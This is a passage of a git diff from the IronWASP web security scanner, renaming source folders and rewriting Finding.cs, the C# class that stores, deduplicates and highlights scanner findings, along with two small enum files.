(!AllTriggerVariations.Contains(HA)) - { - AllTriggerVariations.Add(HA); - } - } - } - catch { } - - List HeaderTriggerVariations = new List(); - foreach (string CurrentVariation in AllTriggerVariations) - { - if (!HeaderTriggerVariations.Contains(CurrentVariation) && ResHeader.Contains(CurrentVariation)) - { - HeaderTriggerVariations.Add(CurrentVariation); - } - } - ResHeader = Highlighter.InsertHighlights(ResHeader, HeaderTriggerVariations); - - ResBody = GetResponseBodyHighlighting(ResBody, Trigg); - if (!ResHeader.Contains(">") && !ResBody.Contains(">")) - { - foreach (string TriggLine in Tools.SplitLines(Trigg)) - { - ResBody = GetResponseBodyHighlighting(ResBody, TriggLine); - } - } - - SB.Append(Highlighter.SnipHeaderSection(ResHeader).TrimEnd()); - SB.AppendLine(); SB.AppendLine(); - SB.Append(Highlighter.SnipBodySection(ResBody)); - return SB.ToString().Replace("\n", ">"); - } - - static string GetResponseBodyHighlighting(string ResBody, string Trigg) - { - List AllTriggerVariations = new List(); - AllTriggerVariations.Add(Trigg); - - List BodyTriggerVariations = new List(); - foreach (string CurrentVariation in AllTriggerVariations) - { - if (!BodyTriggerVariations.Contains(CurrentVariation) && ResBody.Contains(CurrentVariation)) - { - BodyTriggerVariations.Add(Trigg); - } - } - ResBody = Highlighter.InsertHighlights(ResBody, BodyTriggerVariations); - return ResBody; - } - - public static List GetHeaderVariations(string Trigg, HeaderParameters Headers, string HeaderString) - { - List FinalMatches = new List(); - if (Trigg.Contains(":")) - { - string[] Parts = Trigg.Split(new char[] { ':' }, 2); - string TrimmedName = Parts[0].Trim(); - string TrimmedValue = Parts[1].Trim(); - if (TrimmedName.Length > 0) - { - List Matches = new List(); - foreach (string Name in Headers.GetNames()) - { - if (Name.Trim().Equals(TrimmedName, StringComparison.OrdinalIgnoreCase)) - { - foreach (string Value in Headers.GetAll(Name)) - { - if (Value.Trim().Equals(TrimmedValue)) - { - Matches.Add(new string[] { Name, Value }); - } - } - } - } - - List Lines = Tools.SplitLines(HeaderString); - foreach (string Line in Lines) - { - foreach (string[] Match in Matches) - { - string EncodedName = ""; - string EncodedValue = ""; - - if (Line.StartsWith(Match[0])) - { - EncodedName = Match[0]; - } - else if (Line.StartsWith(RequestHeaderParameters.Encode(Match[0]))) - { - EncodedName = RequestHeaderParameters.Encode(Match[0]); - } - else if (Line.StartsWith(ResponseHeaderParameters.Encode(Match[0]))) - { - EncodedName = ResponseHeaderParameters.Encode(Match[0]); - } - - if (Line.EndsWith(Match[1])) - { - EncodedValue = Match[1]; - } - else if (Line.EndsWith(RequestHeaderParameters.Encode(Match[1]))) - { - EncodedValue = RequestHeaderParameters.Encode(Match[1]); - } - else if (Line.EndsWith(ResponseHeaderParameters.Encode(Match[1]))) - { - EncodedValue = ResponseHeaderParameters.Encode(Match[1]); - } - - if (EncodedValue.Length > 0)//If EncodedValue is empty then .Replace(EncodedValue, "") throws an exception, as empty value cannot be replaced - { - if (Line.Substring(EncodedName.Length).Replace(EncodedValue, "").Trim().Equals(":")) - { - FinalMatches.Add(Line); - } - } - else - { - if (Line.Substring(EncodedName.Length).Trim().Equals(":")) - { - FinalMatches.Add(Line); - } - } - } - } - } - } - return FinalMatches; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Xml; +using System.IO; + +namespace IronWASP +{ + public class Finding + { + internal static Finding CurrentPluginResult = null; + internal static List TriggersSelectedForDiff = new List(); + + public int Id = 0; + //public string Plugin=""; + public string Title = ""; + public string Summary = ""; + public string AffectedHost = ""; + public Triggers Triggers = new Triggers(); + public FindingSeverity Severity = FindingSeverity.Low; + public FindingConfidence Confidence = FindingConfidence.Low; + public FindingType Type = FindingType.Vulnerability; + public string Signature = ""; + + public string FinderName = ""; + public string FinderType = ""; + + public int ScanId = 0; + + public string AffectedSection = ""; + public string AffectedParameter = ""; + public List Reasons = new List(); + public string ScanTrace = ""; + + public Request BaseRequest; + public Response BaseResponse; + + public string IssueCode = ""; + //public Dictionary Finding + + static Dictionary>>> Signatures = new Dictionary>>>(); + + public string Plugin + { + get + { + return this.FinderName; + } + set + { + this.FinderName = value; + } + } + + public string XmlSummary + { + set + { + XmlDocument XDoc = new XmlDocument(); + XDoc.XmlResolver = null; + XDoc.LoadXml(value); + foreach (XmlElement Node in XDoc.DocumentElement.ChildNodes) + { + switch (Node.Name) + { + case ("desc"): + this.Summary = Node.InnerText; + break; + case ("trace"): + this.ScanTrace = Node.InnerText; + break; + case ("reasons"): + this.Reasons.Clear(); + foreach (XmlElement ReasonNode in Node.ChildNodes) + { + string Reason = ""; + string ReasonType = ""; + string TriggerIds = ""; + string FalsePositiveCheck = ""; + foreach (XmlElement ReasonValue in ReasonNode.ChildNodes) + { + switch (ReasonValue.Name) + { + case ("desc"): + Reason = ReasonValue.InnerText; + break; + case ("type"): + ReasonType = ReasonValue.InnerText; + break; + case ("triggers"): + TriggerIds = ReasonValue.InnerText; + break; + case ("fpcheck"): + FalsePositiveCheck = ReasonValue.InnerText; + break; + } + } + FindingReason FR = new FindingReason(Reason, ReasonType, FindingReason.StringToTriggerIds(TriggerIds), FalsePositiveCheck); + this.Reasons.Add(FR); + } + break; + } + } + } + get + { + StringBuilder SB = new StringBuilder(); + XmlWriter XW = XmlWriter.Create(SB); + XW.WriteStartDocument(); + XW.WriteStartElement("summary"); + + XW.WriteStartElement("desc"); XW.WriteValue(this.Summary); XW.WriteEndElement(); + if (this.FromActiveScan) + { + if (Reasons.Count > 0) + { + XW.WriteStartElement("reasons"); + foreach (FindingReason Reason in Reasons) + { + XW.WriteStartElement("reason"); + + XW.WriteStartElement("desc"); XW.WriteValue(Reason.Reason); XW.WriteEndElement(); + XW.WriteStartElement("type"); XW.WriteValue(Reason.ReasonType); XW.WriteEndElement(); + XW.WriteStartElement("triggers"); XW.WriteValue(FindingReason.TriggerIdsToString(Reason.TriggerIds)); XW.WriteEndElement(); + XW.WriteStartElement("fpcheck"); XW.WriteValue(Reason.FalsePositiveCheck); XW.WriteEndElement(); + + XW.WriteEndElement(); + } + XW.WriteEndElement(); + } + XW.WriteStartElement("trace"); XW.WriteValue(this.ScanTrace); XW.WriteEndElement(); + } + + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + return SB.ToString(); + } + } + + public string XmlMeta + { + set + { + XmlDocument XDoc = new XmlDocument(); + XDoc.XmlResolver = null; + XDoc.LoadXml(value); + foreach (XmlElement Node in XDoc.DocumentElement.ChildNodes) + { + switch (Node.Name) + { + case ("scanid"): + this.ScanId = Int32.Parse(Node.InnerText); + break; + case ("section"): + this.AffectedSection = Node.InnerText; + break; + case ("parameter"): + this.AffectedParameter = Node.InnerText; + break; + } + } + } + get + { + StringBuilder SB = new StringBuilder(); + XmlWriter XW = XmlWriter.Create(SB); + XW.WriteStartDocument(); + XW.WriteStartElement("meta"); + if (this.FromActiveScan) + { + XW.WriteStartElement("scanid"); XW.WriteValue(this.ScanId); XW.WriteEndElement(); + XW.WriteStartElement("section"); XW.WriteValue(this.AffectedSection); XW.WriteEndElement(); + XW.WriteStartElement("parameter"); XW.WriteValue(this.AffectedParameter); XW.WriteEndElement(); + //ReasonsTypes are stored here to help with searching for issues of similar nature. Values from here are not used to update the Reasons property of Finding. + if (Reasons.Count > 0) + { + XW.WriteStartElement("reasons"); + foreach (FindingReason Reason in Reasons) + { + XW.WriteStartElement("reason"); XW.WriteValue(Reason.ReasonType); XW.WriteEndElement(); + } + XW.WriteEndElement(); + } + } + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + return SB.ToString(); + } + } + + public bool FromActiveScan + { + get + { + return this.FinderType.Equals("ActivePlugin"); + } + } + + public Finding(string AffectedHost) + { + this.AffectedHost = AffectedHost; + } + + public void Report() + { + if (IsSignatureUnique(this.Plugin, this.AffectedHost, this.Type, this.Signature, true)) + { + IronUpdater.AddPluginResult(this); + } + } + + public void AddReason(FindingReason Reason) + { + this.Reasons.Add(Reason); + } + + public static bool IsSignatureUnique(string PluginName, string Host, FindingType Type, string Signature) + { + return IsSignatureUnique(PluginName, Host, Type, Signature, false); + } + + internal static bool IsSignatureUnique(string PluginName, string Host, FindingType Type, string Signature, bool AddIfUnique) + { + bool IsUnique = false; + if (PluginName.Length == 0) return false; + lock (Signatures) + { + if (!Signatures.ContainsKey(PluginName)) + { + IsUnique = true; + if (AddIfUnique) + Signatures.Add(PluginName, new Dictionary>>()); + else + return true; + } + + if (Signature.Length == 0) + { + IsUnique = true; + if (!AddIfUnique) return true; + } + + + if (!Signatures[PluginName].ContainsKey(Host)) + { + IsUnique = true; + if (AddIfUnique) + Signatures[PluginName].Add(Host, new Dictionary>()); + else + return true; + } + + + if (!Signatures[PluginName][Host].ContainsKey(Type.ToString())) + { + IsUnique = true; + if (AddIfUnique) + Signatures[PluginName][Host].Add(Type.ToString(), new List()); + else + return true; + } + + if (IsUnique && AddIfUnique) + { + Signatures[PluginName][Host][Type.ToString()].Add(Signature); + return true; + } + else if (Signatures[PluginName][Host][Type.ToString()].Contains(Signature)) + { + return false; + } + else + { + if (AddIfUnique) + { + Signatures[PluginName][Host][Type.ToString()].Add(Signature); + } + return true; + } + } + } + + public static List GetSignatureList(string PluginName, string Host, FindingType Type) + { + List SignatureList = new List(); + lock (Signatures) + { + if (Signatures.ContainsKey(PluginName)) + { + if (Signatures[PluginName].ContainsKey(Host)) + { + if (Signatures[PluginName][Host].ContainsKey(Type.ToString())) + { + SignatureList.AddRange(Signatures[PluginName][Host][Type.ToString()]); + } + } + } + } + return SignatureList; + } + + public static string GetTriggerHighlighting(Trigger SelectedTrigger, string FinderType, bool IsNormal) + { + return GetTriggerHighlighting(SelectedTrigger, FinderType, IsNormal, true); + } + + public static string GetTriggerHighlighting(Trigger SelectedTrigger, string FinderType, bool IsNormal, bool IncludeDesc) + { + if (IsNormal) + { + return @" +IronWASP's scanner identified this vulnerability by sending special payloads to the application and observing how its responded. + +Before sending the payloads the scanner sends a normal request and sees how the server responds to it. You can see this normal request and response in the adjacent tabs. + +Click on the items named >Trigger> (and an ID number) on the left-side to see the Requests containing the special payloads and corresponding Responses. + +Head to the >>Trigger Analysis Tools>> tab to: +1) Do a diff of the normal Request/Response with the Trigger Request/Response or do a diff of two Trigger Request/Response. +2) View all the payloads, requests and responses associated with the scan that discovered this vulnerability. +3) Resend any Requests from this section or perform other similar actions + +"; + } + + bool RequestTriggerPresent = false; + bool ResponseTriggerPresent = false; + bool RequestTriggerHighlighted = false; + bool ResponseTriggerHighlighted = false; + + string HighlightedRequest = ""; + string HighlightedResponse = ""; + + + if (SelectedTrigger.RequestTrigger.Length > 0) + { + RequestTriggerPresent = true; + if (SelectedTrigger.Request != null) + { + HighlightedRequest = GetRequestTriggerHighlighting(SelectedTrigger.RequestTrigger, SelectedTrigger.Request); + if (HighlightedRequest.Contains(">") && HighlightedRequest.Contains(">")) + { + RequestTriggerHighlighted = true; + } + } + } + + if (SelectedTrigger.ResponseTrigger.Length > 0) + { + ResponseTriggerPresent = true; + if (SelectedTrigger.Response != null) + { + HighlightedResponse = GetResponseTriggerHighlighting(SelectedTrigger.ResponseTrigger, SelectedTrigger.Response); + if (HighlightedResponse.Contains(">") && HighlightedResponse.Contains(">")) + { + ResponseTriggerHighlighted = true; + } + } + } + + StringBuilder SB = new StringBuilder(); + switch (FinderType) + { + case ("ActivePlugin"): + + if (IncludeDesc) + { + SB.Append("One pair of Request and Response that was helpful in identifing this vulnerability is available in the adjacent tabs."); + SB.Append(">"); + SB.Append(GetHighlightDescription(RequestTriggerPresent, ResponseTriggerPresent)); + SB.Append(">"); SB.Append(">"); + } + if (RequestTriggerHighlighted) + { + SB.Append("> Request sent by Scanner: >"); + if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append(HighlightedRequest); + SB.Append(">"); SB.Append(">"); + } + else + { + if (RequestTriggerPresent) + { + SB.Append("> Interesting part of Request sent by Scanner: >"); + if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append("IronWASP is not able to automatically highlight the interesting section of the Request, you would have to identify it manually."); + SB.Append(">"); + SB.Append("The scanner reported the following text as being of interest in this case:"); + SB.Append(">"); SB.Append(">"); + SB.Append(GetInterestingTextWrap(SelectedTrigger.RequestTrigger)); + SB.Append(">"); SB.Append(">"); + } + else if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) + { + SB.Append("> Information about the Request sent by Scanner: >"); + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); SB.Append(">>"); + } + } + + if (ResponseTriggerHighlighted) + { + SB.Append("> Response from the Server: >"); + if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append(HighlightedResponse); + SB.Append(">"); + } + else + { + if (ResponseTriggerPresent) + { + SB.Append("> Interesting part of Response from the Server: >"); + if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append("IronWASP is not able to automatically highlight the interesting section of the Response, you would have to identify it manually."); + SB.Append(">"); + SB.Append("The scanner reported the following text as being of interest in this case:"); + SB.Append(">"); SB.Append(">"); + SB.Append(GetInterestingTextWrap(SelectedTrigger.ResponseTrigger)); + SB.Append(">"); SB.Append(">"); + } + else if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append("> Information about the Response from the Server: >"); + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); SB.Append(">>"); + } + else + { + if (SelectedTrigger.Response != null) + { + SB.Append(string.Format("> The Response from the Server came back in {0} milli seconds >", SelectedTrigger.Response.RoundTrip)); + } + } + } + break; + + case ("PassivePlugin"): + if (IncludeDesc) + { + SB.Append("One pair of Request and Response that was analyzed to identify this vulnerability is available in the adjacent tabs."); + SB.Append(">"); + SB.Append(GetHighlightDescription(RequestTriggerPresent, ResponseTriggerPresent)); + SB.Append(">"); SB.Append(">"); + } + if (RequestTriggerHighlighted) + { + SB.Append("> Analyzed Request: >"); + if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append(HighlightedRequest); + SB.Append(">"); SB.Append(">"); + } + else + { + if (RequestTriggerPresent) + { + SB.Append("> Interesting part of Analyzed Request: >"); + if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append("IronWASP is not able to automatically highlight the interesting section of the Request, you would have to identify it manually."); + SB.Append(">"); + SB.Append("IronWASP's Passive Analyzer reported the following text as being of interest in this case:"); + SB.Append(">"); SB.Append(">"); + SB.Append(GetInterestingTextWrap(SelectedTrigger.RequestTrigger)); + SB.Append(">"); SB.Append(">"); + } + else if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) + { + SB.Append("> Information about the Analyzed Request: >"); + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); SB.Append(">>"); + } + + } + + if (ResponseTriggerHighlighted) + { + SB.Append("> Analyzed Response: >"); + if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append(HighlightedResponse); + SB.Append(">"); + } + else + { + if (ResponseTriggerPresent) + { + SB.Append("> Interesting part of Analyzed Response: >"); + if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append("IronWASP is not able to automatically highlight the interesting section of the Response, you would have to identify it manually."); + SB.Append(">"); + SB.Append("IronWASP's Passive Analyzer reported the following text as being of interest in this case:"); + SB.Append(">"); SB.Append(">"); + SB.Append(GetInterestingTextWrap(SelectedTrigger.ResponseTrigger)); + SB.Append(">"); SB.Append(">"); + } + else if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append("> Information about the Analyzed Response: >"); + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); SB.Append(">>"); + } + } + break; + + default: + if (IncludeDesc) + { + SB.Append("One pair of Request and Response that is associated with this vulnerability is available in the adjacent tabs."); + SB.Append(">"); SB.Append(">"); + SB.Append(GetHighlightDescription(RequestTriggerPresent, ResponseTriggerPresent)); + SB.Append(">"); SB.Append(">"); + } + if (RequestTriggerHighlighted) + { + SB.Append("> Associated Request: >"); + if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append(HighlightedRequest); + SB.Append(">"); SB.Append(">"); + } + else + { + if (RequestTriggerPresent) + { + SB.Append("> Interesting part of Associated Request: >"); + if (SelectedTrigger.RequestTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.RequestTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append("IronWASP is not able to automatically highlight the interesting section of the Request, you would have to identify it manually."); + SB.Append(">"); + SB.Append("The component that identified this vulnerability reported the following text as being of interest in this case:"); + SB.Append(">"); SB.Append(">"); + SB.Append(GetInterestingTextWrap(SelectedTrigger.RequestTrigger)); + SB.Append(">"); SB.Append(">"); + } + } + + if (ResponseTriggerHighlighted) + { + SB.Append("> Associated Response: >"); + if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append(HighlightedResponse); + SB.Append(">"); + } + else + { + if (ResponseTriggerPresent) + { + SB.Append("> Interesting part of Associated Response: >"); + if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); + } + SB.Append(">"); SB.Append(">"); + SB.Append("IronWASP is not able to automatically highlight the interesting section of the Response, you would have to identify it manually."); + SB.Append(">"); + SB.Append("The component that identified this vulnerability reported the following text as being of interest in this case:"); + SB.Append(">"); SB.Append(">"); + SB.Append(GetInterestingTextWrap(SelectedTrigger.ResponseTrigger)); + SB.Append(">"); SB.Append(">"); + } + else if (SelectedTrigger.ResponseTriggerDescription.Trim().Length > 0) + { + SB.Append("> Information about the Associated Response: >"); + SB.Append(">>"); SB.Append(">"); SB.Append(SelectedTrigger.ResponseTriggerDescription); SB.Append(">"); SB.Append(">>"); + } + } + break; + } + return SB.ToString(); + } + + static string GetHighlightDescription(bool RequestTriggerPresent, bool ResponseTriggerPresent) + { + if (RequestTriggerPresent && ResponseTriggerPresent) + { + return "Below you can see the sections of the Request and Response that are of interest (> highlighted in green>). Non-interesting sections have been stripped away for clarity."; + } + else if (RequestTriggerPresent) + { + return "Below you can see the sections of the Request that are of interest (> highlighted in green>). Non-interesting sections have been stripped away for clarity."; + } + else if (ResponseTriggerPresent) + { + return "Below you can see the sections of the Response that are of interest (> highlighted in green>). Non-interesting sections have been stripped away for clarity."; + } + else + { + return ""; + } + } + + static string GetInterestingTextWrap(string TriggerValue) + { + StringBuilder SB = new StringBuilder(); + SB.Append(" >----- START OF INTERESTING TEXT -----> "); + SB.Append(">"); + SB.Append(Tools.EncodeForTrace(TriggerValue)); + SB.Append(">"); + SB.Append(" >----- END OF INTERESTING TEXT -----> "); + return SB.ToString(); + } + + public static string GetRequestTriggerHighlighting(string Trigg, Request Req) + { + StringBuilder SB = new StringBuilder(); + string ReqHeader = Req.GetHeadersAsString(); + string ReqBody = Req.BodyString; + + List AllTriggerVariations = new List(); + AllTriggerVariations.Add(Trigg); + if (!AllTriggerVariations.Contains(Request.PathPartEncode(Trigg))) AllTriggerVariations.Add(Request.PathPartEncode(Trigg)); + if (!AllTriggerVariations.Contains(QueryParameters.Encode(Trigg))) AllTriggerVariations.Add(QueryParameters.Encode(Trigg)); + if (!AllTriggerVariations.Contains(CookieParameters.Encode(Trigg))) AllTriggerVariations.Add(CookieParameters.Encode(Trigg)); + if (!AllTriggerVariations.Contains(HeaderParameters.Encode(Trigg))) AllTriggerVariations.Add(HeaderParameters.Encode(Trigg)); + + try + { + List HeaderAdjustments = GetHeaderVariations(Trigg, Req.Headers, ReqHeader); + foreach (string HA in HeaderAdjustments) + { + if (!AllTriggerVariations.Contains(HA)) + { + AllTriggerVariations.Add(HA); + } + } + } + catch { } + + List HeaderTriggerVariations = new List(); + + + foreach (string CurrentVariation in AllTriggerVariations) + { + if (!HeaderTriggerVariations.Contains(CurrentVariation) && ReqHeader.Contains(CurrentVariation)) + { + HeaderTriggerVariations.Add(CurrentVariation); + } + } + ReqHeader = Highlighter.InsertHighlights(ReqHeader, HeaderTriggerVariations); + + ReqBody = GetRequestBodyHighlighting(ReqBody, Trigg); + if (!ReqHeader.Contains(">") && !ReqBody.Contains(">")) + { + foreach (string TriggLine in Tools.SplitLines(Trigg)) + { + ReqBody = GetRequestBodyHighlighting(ReqBody, TriggLine); + } + } + + SB.Append(Highlighter.SnipHeaderSection(ReqHeader).TrimEnd()); + SB.AppendLine(); SB.AppendLine(); + SB.Append(Highlighter.SnipBodySection(ReqBody)); + return SB.ToString().Replace("\n", ">"); + } + + static string GetRequestBodyHighlighting(string ReqBody, string Trigg) + { + List AllTriggerVariations = new List(); + AllTriggerVariations.Add(Trigg); + if (!AllTriggerVariations.Contains(BodyParameters.Encode(Trigg))) AllTriggerVariations.Add(BodyParameters.Encode(Trigg)); + + List BodyTriggerVariations = new List(); + foreach (string CurrentVariation in AllTriggerVariations) + { + if (!BodyTriggerVariations.Contains(CurrentVariation) && ReqBody.Contains(CurrentVariation)) + { + BodyTriggerVariations.Add(CurrentVariation); + } + } + ReqBody = Highlighter.InsertHighlights(ReqBody, BodyTriggerVariations); + return ReqBody; + } + + public static string GetResponseTriggerHighlighting(string Trigg, Response Res) + { + StringBuilder SB = new StringBuilder(); + string ResHeader = Res.GetHeadersAsString(); + string ResBody = Res.BodyString; + + List AllTriggerVariations = new List(); + AllTriggerVariations.Add(Trigg); + if (!AllTriggerVariations.Contains(CookieParameters.Encode(Trigg))) AllTriggerVariations.Add(CookieParameters.Encode(Trigg)); + if (!AllTriggerVariations.Contains(HeaderParameters.Encode(Trigg))) AllTriggerVariations.Add(HeaderParameters.Encode(Trigg)); + + try + { + List HeaderAdjustments = GetHeaderVariations(Trigg, Res.Headers, ResHeader); + foreach (string HA in HeaderAdjustments) + { + if (!AllTriggerVariations.Contains(HA)) + { + AllTriggerVariations.Add(HA); + } + } + } + catch { } + + List HeaderTriggerVariations = new List(); + foreach (string CurrentVariation in AllTriggerVariations) + { + if (!HeaderTriggerVariations.Contains(CurrentVariation) && ResHeader.Contains(CurrentVariation)) + { + HeaderTriggerVariations.Add(CurrentVariation); + } + } + ResHeader = Highlighter.InsertHighlights(ResHeader, HeaderTriggerVariations); + + ResBody = GetResponseBodyHighlighting(ResBody, Trigg); + if (!ResHeader.Contains(">") && !ResBody.Contains(">")) + { + foreach (string TriggLine in Tools.SplitLines(Trigg)) + { + ResBody = GetResponseBodyHighlighting(ResBody, TriggLine); + } + } + + SB.Append(Highlighter.SnipHeaderSection(ResHeader).TrimEnd()); + SB.AppendLine(); SB.AppendLine(); + SB.Append(Highlighter.SnipBodySection(ResBody)); + return SB.ToString().Replace("\n", ">"); + } + + static string GetResponseBodyHighlighting(string ResBody, string Trigg) + { + List AllTriggerVariations = new List(); + AllTriggerVariations.Add(Trigg); + + List BodyTriggerVariations = new List(); + foreach (string CurrentVariation in AllTriggerVariations) + { + if (!BodyTriggerVariations.Contains(CurrentVariation) && ResBody.Contains(CurrentVariation)) + { + BodyTriggerVariations.Add(Trigg); + } + } + ResBody = Highlighter.InsertHighlights(ResBody, BodyTriggerVariations); + return ResBody; + } + + public static List GetHeaderVariations(string Trigg, HeaderParameters Headers, string HeaderString) + { + List FinalMatches = new List(); + if (Trigg.Contains(":")) + { + string[] Parts = Trigg.Split(new char[] { ':' }, 2); + string TrimmedName = Parts[0].Trim(); + string TrimmedValue = Parts[1].Trim(); + if (TrimmedName.Length > 0) + { + List Matches = new List(); + foreach (string Name in Headers.GetNames()) + { + if (Name.Trim().Equals(TrimmedName, StringComparison.OrdinalIgnoreCase)) + { + foreach (string Value in Headers.GetAll(Name)) + { + if (Value.Trim().Equals(TrimmedValue)) + { + Matches.Add(new string[] { Name, Value }); + } + } + } + } + + List Lines = Tools.SplitLines(HeaderString); + foreach (string Line in Lines) + { + foreach (string[] Match in Matches) + { + string EncodedName = ""; + string EncodedValue = ""; + + if (Line.StartsWith(Match[0])) + { + EncodedName = Match[0]; + } + else if (Line.StartsWith(RequestHeaderParameters.Encode(Match[0]))) + { + EncodedName = RequestHeaderParameters.Encode(Match[0]); + } + else if (Line.StartsWith(ResponseHeaderParameters.Encode(Match[0]))) + { + EncodedName = ResponseHeaderParameters.Encode(Match[0]); + } + + if (Line.EndsWith(Match[1])) + { + EncodedValue = Match[1]; + } + else if (Line.EndsWith(RequestHeaderParameters.Encode(Match[1]))) + { + EncodedValue = RequestHeaderParameters.Encode(Match[1]); + } + else if (Line.EndsWith(ResponseHeaderParameters.Encode(Match[1]))) + { + EncodedValue = ResponseHeaderParameters.Encode(Match[1]); + } + + if (EncodedValue.Length > 0)//If EncodedValue is empty then .Replace(EncodedValue, "") throws an exception, as empty value cannot be replaced + { + if (Line.Substring(EncodedName.Length).Replace(EncodedValue, "").Trim().Equals(":")) + { + FinalMatches.Add(Line); + } + } + else + { + if (Line.Substring(EncodedName.Length).Trim().Equals(":")) + { + FinalMatches.Add(Line); + } + } + } + } + } + } + return FinalMatches; + } + } +} diff --git a/IronWASP/FindingConfidence.cs b/Iron/FindingConfidence.cs similarity index 96% rename from IronWASP/FindingConfidence.cs rename to Iron/FindingConfidence.cs index df21c78..ff7f37e 100644 --- a/IronWASP/FindingConfidence.cs +++ b/Iron/FindingConfidence.cs @@ -1,31 +1,31 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public enum FindingConfidence - { - High, - Medium, - Low - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public enum FindingConfidence + { + High, + Medium, + Low + } +} diff --git a/IronWASP/FindingReason.cs b/Iron/FindingReason.cs similarity index 100% rename from IronWASP/FindingReason.cs rename to Iron/FindingReason.cs diff --git a/IronWASP/FindingSeverity.cs b/Iron/FindingSeverity.cs similarity index 96% rename from IronWASP/FindingSeverity.cs rename to Iron/FindingSeverity.cs index 7d58079..1f6988a 100644 --- a/IronWASP/FindingSeverity.cs +++ b/Iron/FindingSeverity.cs @@ -1,31 +1,31 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License 